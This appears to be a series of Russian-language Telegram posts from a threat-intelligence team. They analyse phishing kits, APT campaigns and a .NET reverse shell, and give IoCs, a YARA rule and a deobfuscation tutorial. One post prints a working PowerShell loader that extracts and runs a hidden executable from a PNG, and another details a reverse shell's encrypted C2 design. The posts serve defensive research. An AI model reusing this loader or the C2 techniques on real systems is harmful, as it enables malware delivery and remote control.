ESCalator

«Я буду *** твоих рыб»

🐟

В середине октября группа киберразведки засекла фишинговую активность в адрес HR-подразделений строительного сектора.

Злоумышленники рассылали письма якобы от HeadHunter с требованием верифицировать аккаунт на стороннем сайте. Введенные на этой странице email и одноразовый код использовались для перехвата учетной записи, после чего жертва теряла к ней доступ (скриншот 1).

Ссылка ведет на фишинговый домен hhcasa.xyz, который закрыт за Cloudflare и зарегистрирован с помощью главного регистратора доменов Украины nic.ua (скриншот 2).

Страница имеет два состояния интерфейса. При наличии auth=1 показывается основная сцена «успешного шага», при отсутствии — альтернатива (скриншоты 3–4).

Такое разделение используется для сокрытия страницы от лиц, не попавших в список рассылки.

🪞 Верстка и статика копируют hh.ru: в <head> тянутся Google Fonts и favicon с i.hh.ru, логотип и шапка повторяют стиль, а пункты навигации кликабельны и направляют пользователя на легитимный домен simferopol.hh.ru, что создает впечатление «чистого» сайта. Однако в навигации присутствует пункт «Зарегестрироваться» с орфографической ошибкой, что выступает индикатором подмены сайта.

На фишинговой странице имитируется связка «почта → код подтверждения». Пользователь вводит email, скрипт проверяет формат регулярным выражением и делает POST-запрос, в тело которого кладут еще и токен формата Base64, который генерируется прямо в браузере из User-Agent, текущего времени и случайной строки.

❗️ Отметим, что в марте этого года нами уже фиксировалась аналогичная фишинговая кампания от имени HeadHunter. Тогда в навигации тоже присутствовал пункт «Зарегестрироваться» с той же характерной ошибкой, и с тем же принципом компрометации аккаунта: связка «почта → одноразовый код → перехват учетной записи» с последующей потерей доступа.

Злоумышленники также собирают телеметрию. Она реализована через создание объекта Image и присвоение ему src, чтобы браузер отправил GET на внешний адрес с параметрами домена и меткой времени (скриншот 5).

Задача сбора телеметрии утилитарная: оператор видит реальный IP посетителя и время захода на конкретный домен, что может говорить о наличии у операторов дополнительных фишинговых доменов.

IP-адрес 185.162.10.35, на который отправляется телеметрия, находится в ASN 59729 (GREEN FLOID LLC). По результатам анализа и pDNS-наблюдений, на этом IP также размещаются и ранее размещались другие фишинговые домены, которые, так же как и hhcasa.xyz, были зарегистрированы с помощью nic.ua.

hhrunaх.xyz;
hscac.xyz;
hmnsc.xyz.

🖕 Фишинговый домен имеет антиотладку. Скрипт перехватывает контекстное меню, выделение и копирование, горячие сочетания клавиш, которыми обычно открывают исходники и DevTools: Ctrl+U, Ctrl+S, Ctrl+Shift+I/J/C и F12. При срабатывании «запрещенной» клавиши страница стирает содержимое body и накладывает поверх черный полноэкранный блок с сообщением (скриншоты 6–7).

В защите нет ничего сложного: она не умеет обнаруживать открытые DevTools и никак не прячет исходники вне текущего документа. Самый простой способ обойти ее — открыть DevTools через меню браузера до загрузки страницы или отключить выполнение JavaScript для этого домена и перезагрузить вкладку, чтобы снять HTML и статические ресурсы.

Помимо комментариев на русском языке в коде, в разметке оставлена украинская раскладка: в теге <html> задан lang="ua", вероятно, этот атрибут проставился автоматически при генерации шаблона и его просто забыли поменять.

📝 В самом фишинговом письме группировка использовала логотип HH, который подгружался из GitHub-репозитория (скриншот 8). Репозиторий (скриншот 9) создан в октябре 2022 года и содержит проекты фишинговых сайтов, в одном из которых находился самописный стилер, накрытый протектором. Вредоносное ПО при запуске ворует куки и пары «логин — пароль», отправляя все в телеграм-канал злоумышленника.

Телеграм-аккаунт, куда бот отправляет украденные данные, также мимикрирует под сотрудника компании HeadHunter (скриншот 10).

#TI #Phishing
@ptescalator

Please open Telegram to view this post

VIEW IN TELEGRAM

Please open Telegram to view this post

VIEW IN TELEGRAM

😁29👍15🔥8💩4❤3👎2💯1

11.3K views10:27

ESCalator

Поиск фишинговой инфраструктуры на этапе подготовки

🧱

В защите организации от фишинговых угроз полезно не ограничиваться только блокировкой уже разосланных писем и URL-ссылок. Необходимо применять техники обнаружения угроз на этапе подготовки. Пока злоумышленник регистрирует домен или выпускает SSL-сертификат, мы можем попытаться его вычислить и нейтрализовать, не дожидаясь первой жертвы.

Далее разберем некоторые инструменты и тактики проактивной защиты от фишинга.

Мониторинг доменов

💻

Первое, что делает злоумышленник, — регистрирует домен. В случае подделки какого-то оригинального сервиса можно ожидать, что регистрируемый домен будет визуально схож с подделываемым доменом. Это классический сквоттинг.
Мы можем настроить мониторинг и реагировать на регистрацию тех доменов, которые схожи с интересующими нас сервисами и брендами. Важно помнить, что регистрировать подобные домены могут и сами владельцы, поэтому необходимо дополнительно проверять регистрантов домена и сравнивать их с оригиналом, чтобы избежать ложноположительных сработок.

Анализ SSL-сертификатов

🤔

Малое число переходов по ссылкам без валидного SSL-сертификата вынуждает злоумышленников озадачиться его выпуском. Большинство известных крупных центров сертификации ведут открытое журналирование всех выпускаемых SSL-сертификатов, и полученный из него список объектов защиты может быть использован для анализа. Методика анализа может быть такой же, как и для доменов, полученных путем мониторинга. Стоит отметить, что сам факт выпуска SSL-сертификата для подозрительного домена может считаться признаком планируемой на ближайшее будущее фишинговой атаки.

Проверка хостнеймов на домене

😐

Часто встречаются ситуации, когда жадные руки злоумышленника одновременно тянутся к большому числу брендов. Для этого он регистрирует один домен и один wildcard-сертификат, причем этот домен визуально ни с чем не схож. Для разделения между подделываемыми брендами злоумышленник использует домены более высокого уровня, например <brand>.domain.xyz. Наличие подобных поддоменов у вновь зарегистрированного домена может быть индикатором готовности к проведению фишинговой атаки.

Получить у DNS-сервера полный состав доменной зоны практически невозможно и на большом потоке доменных имен не принесет результата. Здесь необходимо будет воспользоваться собранными из внешних источников или TI-порталов разведданными либо попробовать самостоятельно перебрать различные поддомены на предмет их существования.

Связи по регистрантам

🕊

Анализ данных о владельце домена может выявить сеть связанных ресурсов, зарегистрированных одной и той же организацией для серии атак. Связующим индикатором может быть имя регистранта (если оно не скрыто настройками приватности) или же его контактная информация: email или телефон. По мере накопления знаний, полученных в процессе проактивного поиска фишинговых доменов, мы можем собрать список недобросовестных регистрантов и по нему реагировать на новые публикации доменов. Конечно, рассчитывать на то, что злоумышленник под одним и тем же именем (не скрытым настройками приватности) будет раз за разом публиковать фишинговые домены, крайне оптимистично, но данный инструмент проверки не должен быть исключен из арсенала.

🏗По итогу, обнаружив «строящуюся» фишинговую площадку, мы можем:

• внести обнаруженные сетевые индикаторы во внутренние списки в средствах защиты информации;

• предупредить сотрудников организации или пользователей сервиса;

• при наличии опубликованного фишингового контента или почтовой рассылки — передать эти сведения регистратору и хостинг-провайдеру для проведения takedown'а и снижения эффективности атаки.

#TI #tip #phishing
@ptesacaltor

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥15❤10👍8

3.66K viewsedited 13:10

ESCalator

Группа киберразведки PT ESC представила обзор кибератак за III квартал 2025 года ✍️

В отчете рассмотрены хакерские атаки на инфраструктуры российских организаций и типовые цепочки группировок — от первоначального доступа до закрепления.

🙅‍♂️ За период отмечена активность таких групп, как PseudoGamaredon, TA Tolik, XDSpy, PhantomCore, Rare Werewolf, Goffee, IAmTheKing, Telemancon, DarkWatchman и Black Owl.

✉️ Фишинговые кампании шли непрерывно и маскировались под деловую переписку. Использовались:

• Запароленные архивы с LNK-, SCR-, COM-загрузчиками и документами-приманками; fake-CAPTCHA c запуском PowerShell.

• RMM и удаленный доступ (UltraVNC, AnyDesk), REST-C2 и многоступенчатые загрузчики.

• Редирект-логика: прошел проверку — скачивается полезная нагрузка; не прошел — происходит переадресация на заглушку легитимного сервиса.

• Zero-day-уязвимости: эксплуатация CVE-2025-8088 группировкой Goffee.

Полный отчет — на нашем сайте.

#TI #APT #Malware #Phishing
@ptescalator

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥24❤16👍11

9.41K views09:16

ESCalator

Самое плохое, что может произойти в Хэллоуин с вашей инфраструктурой 🎃

Anonymous Poll

15%

Обнуление счетов компании 💰

Удаление виртуальных машин 🗑

Слив тайных фоток в новостях 📸

Ошибка 503 🤗

18%

Объявление в даркнете о продаже вашей БД 😭

17%

Внеплановая проверка регулятора 👋

😁19🔥6🤯4😭2✍1❤1🐳1🍓1

493 voters4.08K views16:40

ESCalator

Одинокий волк тебе не товарищ

🐺

Группа киберразведки зафиксировала очередную фишинговую кампанию группировки Lone Wolf: злоумышленники используют стеганографию для скрытой доставки загрузчика вредоносного ПО.

Жертве отправляют архив (скриншот 1) с двумя файлами: размытым изображением «досудебное.png» (скриншот 2) и ярлыком «сверка.lnk». Открытие ярлыка приводит к запуску PowerShell с параметрами скрытого окна и обходом политики выполнения.

-WindowStyle Hidden -ExecutionPolicy Bypass -Command 
"$data=[IO.File]::ReadAllBytes('досудебное.png');
$key=$data[144];
$file=$env:TEMP+'\yVLQbWaX.exe';
$i=[Text.Encoding]::ASCII.GetString($data).LastIndexOf('IDAT')+4;
$xdata = ($data[$i..$data.Length] | ForEach-Object { $_ -bxor $key }); [IO.File]::WriteAllBytes($file, $xdata); 
Start-Process -FilePath $file -WindowStyle Hidden"

👨‍🎨 При запуске скрипт читает байты изображения, берет ключ из 145-го байта и находит в ASCII-представлении последний маркер PNG-чанка IDAT. Затем берет все, что идет за ним, декодирует с помощью XOR и сохраняет результат во временном каталоге как %TEMP%\yVLQbWaX.exe, после чего запускает его. Таким образом, изображение выступает контейнером для полезной нагрузки с параметрами скрытого окна и обходом политики выполнения. Примененная техника извлечения из сегмента IDAT концептуально повторяет подход, ранее замеченный в семействе загрузчиков IDAT Loader (HijackLoader), что указывает на переиспользование или заимствование решений из существующего вредоносного ПО.

Запущенный yVLQbWaX.exe обращается по адресу ezstat.ru/flowersforlove.gif. Указанный домен при обращении перенаправляет на контролируемый злоумышленниками ресурс valisi.ru, на котором фактически размещен вредоносный HTA-файл. Его выполняет системная утилита mshta.exe.

Внутри HTA-файла содержится код на VBScript, который вновь запускает PowerShell для распаковки Base64-строки как файла gzip в памяти и для дальнейшего запуска результата. Анализ показал, что итоговый шеллкод соответствует Beacon — полезной нагрузке Cobalt Strike. Финальный этап реализует «бесфайловое» выполнение в оперативной памяти через рефлективную загрузку.

🎭 Вся цепочка демонстрирует последовательную многоступенчатую маскировку:

• стеганография в PNG (T1027.003) + обфускация или кодирование (T1027, T1140);
• пользовательское выполнение LNK-файла (T1204.002) в рамках фишинга с вложением (T1566.001);
• загрузка удаленного компонента (HTA-файла) по сети (T1105);
• выполнение HTA-файла через прокси-сервер с помощью mshta.exe (T1218.005);
• использование скриптовых интерпретаторов (VBScript, PowerShell) в качестве средств развертывания (T1059.005, T1059.001);
• рефлективная загрузка и выполнение полезных нагрузок в памяти (T1620).

💡 Сетевая инфраструктура, с которой взаимодействует вредоносное ПО, не менялась с марта текущего года.

IoCs

Домены

valisi.ru
ecols.ru

IP-адреса

91.218.228.26
188.120.232.76

Хеш-суммы

ec2924d70d86d24e911202b1523c1858
ae7996444c3d9dbc66c6768993a032c3ca39cc59
6b139dec14e03afdaa6ac51415a9d097eaddb9b7ebba5f77575404c5395ff778

bc957c0d268732c83c4b1a33a37a5854
7c5e95a312567541c9839b9aeefdb66f8b92ffe8
ae8c52e498f5c9a328cf9a2b18b5caf11b677108c4da6ac556a66ccb99faba17

38bcebee4a5c0a18a4794ad7c882e536
af2c5c5113389b16351577837087d2a5f618edca
dcee83c2859df268528002c8b5cdfb2d7821985b36e5b5fab8eb9de4cbc812e1

aed3b15ef7c731cdc8e84c0de42adcdc
bc3a04ccdd5e7de167d2f4d3e75239087075e03c
2d91100a95a2d26c8bcf42dea5aeddb3bfad84b1827bc1b7670a9eac8a0936b8

Дополнительные индикаторы

gemme-cotti.ru
seko-group.ru
run-xin.ru
mzmz.ru
igran.ru
dewatering.ru
clwater.ru
ivaco.su
hydrochem.ru
гидрохим.рф

#TI #APT #Phishing
@ptescalator

Please open Telegram to view this post

VIEW IN TELEGRAM

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥32👍17👏7❤6

5.17K views13:31

ESCalator

Взломали ли вас за три рабочих дня? 🥷

Anonymous Poll

Да (напишите нам) 😔

23%

Нет (ну и ладно) 😴

Взломали до (тоже напишите) 😭

Да, но не хакеры 🪞

15%

В понедельник будет понятно 🧑‍💻

Просто технические работы ⚙️

10%

Я в отпуске, ничего не знаю 🏝

Еще не вечер 🌚

10%

Нас взломать невозможно 🙅

17%

Взломал 😄

😁12🔥10🤣6👍2👾1

542 voters4.97K views16:20

ESCalator

Телеграм попал в белые списки. Телеграм не попал в белые списки. А какие списки больше всего любите вы? ✍️

Anonymous Poll

Белый список 👍

Черный список 👎

Список исключений 👌

Список критичных активов ❗️

17%

Список IOC 🤚

21%

Список дел, которые я точно сделаю… Когда-нибудь 💯

Список подозрительных действий 😑

Список правок от заказчика 😤

10%

Список уязвимостей 👾

30%

Список со списками списков 📑

❤12😁10👀8👎2

612 voters3.82K views17:37

ESCalator

Выступаем на SOC FORUM 2025

🎤

Если вы здесь — заходите, а если нет — смотрите онлайн. Вот наша программа на ближайшие дни:

➡️

18 ноября

• 13:15, зал №3. Денис Гойденко, руководитель департамента комплексного реагирования на угрозы PT ESC, представит результаты расследований инцидентов ИБ за 2025 год. Он поделится обширной статистикой по типам атак, использованным методам и целям хакеров.

➡️

20 ноября

• 10:30, зал №3. О том, как действует APT31 сегодня, в своем докладе расскажут Варвара Колоскова, специалист группы исследования сложных угроз PT ESC, и Даниил Григорян, старший специалист департамента комплексного реагирования на киберугрозы PT ESC. Будут разобраны последние пополнения в арсенале злоумышленника: вариации бэкдоров COFFProxy и AufTime, инструменты с облачными C2 VtChatter, OneDriveDoor, CloudyLoader.

• 11:00, зал №4. Дмитрий Федосов, руководитель отдела наступательной безопасности PT ESC, и Владислав Дриев, ведущий специалист того же отдела, расскажут о своем опыте автоматизации рутины пентеста, проблемах, с которыми столкнулись, особенностях известных инструментов (Masscan, NetExec, Impacket, NTLM Relay и других), а также о том, как тестировали полученные решения.

До встречи офлайн и онлайн 🤝

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥22❤13👍12👏2

3.62K views09:17

ESCalator

APT31. Атаки разящей панды

🐼

С 2024 по 2025 год российские IT-компании, работающие как подрядчики и интеграторы решений для государственных органов, столкнулись с серией хорошо продуманных и ловко реализованных целевых атак, что позволяло злоумышленникам долго оставаться необнаруженными.

В процессе расследования инцидентов за этот промежуток времени нам удалось связать некоторые атаки с группой APT31, нацеленной в основном на промышленный шпионаж и кражу интеллектуальной собственности. Группа маскирует свои инструменты под легитимное программное обеспечение. Еще одной характерной особенностью ее поведения — использование легитимных сервисов для создания двустороннего канала связи с ВПО.

🥷 О тактиках и техниках группы, а также ее уникальных инструментах можно прочитать в нашем блоге.

#TI #APT #DFIR #malware

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥24👍14🦄9🙏3🤔2

6.72K views09:34

ESCalator

~~Preved~~NetMedved

🐻

В октябре 2025 года нашей группой киберразведки была зафиксирована продолжающаяся фишинговая активность хакерской группировки, обозначенной нами как NetMedved. Атаки были нацелены на российские организации: жертвам рассылались ZIP-архивы с набором документов-приманок, имитирующих документооборот российских компаний, а также замаскированными LNK-файлами, которые инициировали загрузку следующего стейджа и развертывание NetSupportRAT на устройствах жертв.

Операторы ВПО использовали несколько векторов атаки — от более классических цепочек с PowerShell-скриптами и HTA-файлами до значительно более редкого приема: доставки вредоносного кода по протоколу Finger и его последующего исполнения в командной строке.

Проанализировав активность и сетевую инфраструктуру NetMedved, мы увидели устойчивые пересечения с декабрьской кампанией 2024 года против российских компаний, о которой ранее писали в посте «PrevedMedved 👋 — это снова Lumma Stealer».

Подробности атаки, разбор используемых TTP и обоснование выбора нейминга группировки — в нашем блоге на Хабре.

#TI #APT #Phishing
@ptescalator

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥14👍10❤9

3.13K views10:25

ESCalator

Сколько дней вы не пили (сок) на этой неделе? 🧃

Anonymous Poll

Только на SOC FORUM 💪

Все дни, кроме SOC FORUM 🤷‍♂️

Утром пью, вечером не пью 🌞

Вечером пью, утром страдаю 😩

11%

Пил, пью, буду пить 👍

13%

Польза сока преувеличена 🙅‍♂️

21%

А какой сегодня день? 🤔

😁13🔥7👍6

517 voters3.26K views18:06

ESCalator

Деобфусцируем имена функций .NET вручную 🙌

ВПО на .NET обожает пакеры, обфускацию (имен, CFG и прочего) и многоэтапные рефлективные подгрузки образов. При этом открытые деобфускаторы всегда отстают от актуальных версий их противоположностей, если вообще поддерживаются. Рассмотрим один из таких случаев.

Предположим, что у нас уже есть дамп необходимого процесса и некоторое знание о том, где в памяти лежала нужная нам нагрузка, а также бинарь, который мы смогли оттуда достать (о том, как это делать автоматизировано расскажем как-нибудь в другой раз).

Откроем бинарь в dnSpy и увидим следующую картину (скриншот 1).

Вспомним, что существует de4dot и попробуем скормить ему бинарь. Взяв то, что похоже на наиболее актуальную версию среди кучи форков (или форков форков (или форков форков форков)), выполним команду:

>  de4dotex .\sample.bin -vv

Результат на скриншоте 2.

Не повезло. Но по ошибке становится понятно, что проблема где-то в логике переименования и связана она может быть, например, с используемым пакером или с тем, что бинарь был выдран из дампа не до конца корректно. Придется исправить их вручную.

🐍Попробуем сделать это на питоне, используя связку dnfile и dncil, набросав код для сбора обфусцированных имен функций и полей (скриншот 3).

Теперь необходимо написать логику по патчингу имен непосредственно в бинаре. Однако, есть момент, связанный с тем, что...такой функциональности у dncil нет.

Перепишем то же самое на C#, позаимствовав dnlib.dll у de4dot, дабы не страдать с самостоятельной ее сборкой. А чтобы не путаться среди кучи меню Visual Studio, просто приведем .csproj к следующему виду (требуется .Net 4.8 и его SDK):

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <TargetFramework>net48</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
  <LangVersion>10.0</LangVersion>
    <Nullable>enable</Nullable>
    <OutputType>Exe</OutputType>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="dnlib">
      <HintPath>dnlib.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

Заведем класс Utils, с двумя функциями — проверкой валидности имени и формированием нового имени (скриншот 4). Наконец, опишем основную логику по переименованию типов, методов, свойств, полей и событий классов (скриншот 5). Результат прогона программы представлен на скриншоте 6.

Видно, методы и поля были переименованы и все отработало успешно. При этом важно понимать, что не всегда можно вот так «в лоб» деобфусцировать имена с сохранением функциональности программы. Например, если образ будет в рантайме искать какую-то функцию по ее строковому имени — после подобных манипуляций он ее не найдет.

Для статического же анализа такой подход вполне удобен — вместо тонны одинакового мусора, не вмещающегося в экран, можно получить короткие имена интересующих полей. Если повторно пройтись глазами по полученному бинарю, то можно найти еще какое-то количество обфусцированных полей: имена переменных в методах, некоторые структуры и т.д. При желании их можно исправить аналогичным образом.

👀 Резюмируя вышеописанное: dncil — удобен, если требуется кроссплатформенность и отсутствует потребность в модификации данных. Таковой, например, является задача поиска конструктора, заполняющего конфигурацию ВПО.

В альтернативном случае можно сразу обращаться к dnlib или инструментам на его основе.

Happy reversing!

#TI #reverse #malware #tip
@ptescalator

🔥27👍10❤9

2.95K views11:30

ESCalator

Новое подключение к старым техникам 📡

В ходе расследования инцидентов команда PT ESC IR обнаружила реверс-шелл, разработанный на .NET и наблюдаемый с 2023 года. Злоумышленниками он использовался для управления скомпрометированными хостами. ВПО создает процесс cmd.exe и перенаправляет поток ввода/вывода на управляющий сервер, который, как правило, являлся одним из хостов во внутренней инфраструктуре. Для безопасного сетевого соединения использовалась техника защищенного TCP-клиента с SSL/TLS.

❕ Особенность инструмента в том, что он реализован средствами компонента System.Windows.Data из состава Windows Presentation Framework. Сама техника не новая — примитивы выполнения кода с использованием System.Windows.Data активно применяются при эксплуатации уязвимостей. Рассмотрим его реализацию подробнее.

В функции Main (скриншот 1) демонстрируется техника прямого выполнения через ObjectDataProvider из пространства имен System.Windows.Data. Несмотря на отсутствие явного вызова метода, при последовательной настройке свойств ObjectInstance, MethodParameters и, в завершение, MethodName объект автоматически инициирует выполнение указанного метода (Connect.Start) — прямо во время его инициализации в методе Main. Использование обертки ExpandedWrapper<Connect, ObjectDataProvider> указывает на заимствование паттерна из известных gadget-цепочек для десериализации, хотя в данном случае эксплуатация происходит напрямую, без этапа сериализации.

Метод Connect.Start (скриншот 2) запускает системную командную оболочку (cmd.exe) в качестве дочернего процесса, асинхронно перехватывает ее вывод через обработчик P_OutputDataReceived и перенаправляет данные обратно на C2-сервер, одновременно используя кастомный делегат (Delegate.Combine) для динамической связи с компонентом Px, отвечающим за сетевую передачу команд и результатов. Такая архитектура позволяет злоумышленнику выполнять произвольные команды в контексте cmd.exe на зараженной машине, сохраняя взаимодействие основанным на легитимных API .NET.

В методе Net.Run (скриншот 3) реализована сетевая C2-логика, устанавливающая зашифрованное соединение с удаленным сервером через TcpClient и SslStream с принудительным использованием TLS 1.2; IP-адрес и порт берутся из зашифрованных конфигурационных данных (скриншот 4) и расшифровываются «на лету» с помощью AES256 в режиме CBC/NoPadding, причем для генерации ключа используется PBKDF2 (RFC 2898), на вход которого передается строковое значение пароля и соли (скриншот 5).

Для расшифровки данных конфигурации можно воспользоваться следующими рецептами CyberChef:

1. Генерация ключа, в который необходимо передать App.PasswordHash и App.SaltKey;

2. Алгоритм расшифровки.

🗂 Вредоносные файлы были расположены в легитимных каталогах:

• C:\Program Files\Internet Explorer\mshealthupdate.exe

• C:\Program Files\Common Files\System\msadds.exe

• C:\Program Files\Common Files\System\ado\msader.exe

Для закрепления в инфраструктуре и запуска исполняемых файлов злоумышленники использовали планировщик задач Windows.

Данный инструмент схож с реализацией общеизвестной утилиты ncat. Для вызова вредоносного метода используется легитимный класс ObjectDataProvider из системной библиотеки WPF, применяются делегаты для динамического подключения обработчиков, не оставляя четкой цепочки вызовов в IL-коде. Для шифрования вывода консоли используется TLS 1.2 и игнорируются ошибки сертификата (ValidateServerCertificate => true), что позволяет работать с любым C2, включая динамические IP.

YARA:

rule MSADDShell {
    strings:
        $v1 = "net_handlerDelOutDataNet"
        $v2 = "P_OutputDataReceived"
        $v3 = "add_OutputDataReceived"
        $v4 = "SendDataFwd"
        $v5 = "OnhandlerDelFwfPx"
        $v6 = "OnhandlerDelOutDataNet"
        $v7 = "msadds.exe" wide
    condition:
        uint16(0) == 0x5A4D and 5 of ($v*) and filesize < 100KB
}

#IOC #yara #dfir #detect #win #ti #ir
@ptescalator

Please open Telegram to view this post

VIEW IN TELEGRAM

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥11👍9👏6❤1

2.99K views11:04

About

Blog

Apps

Platform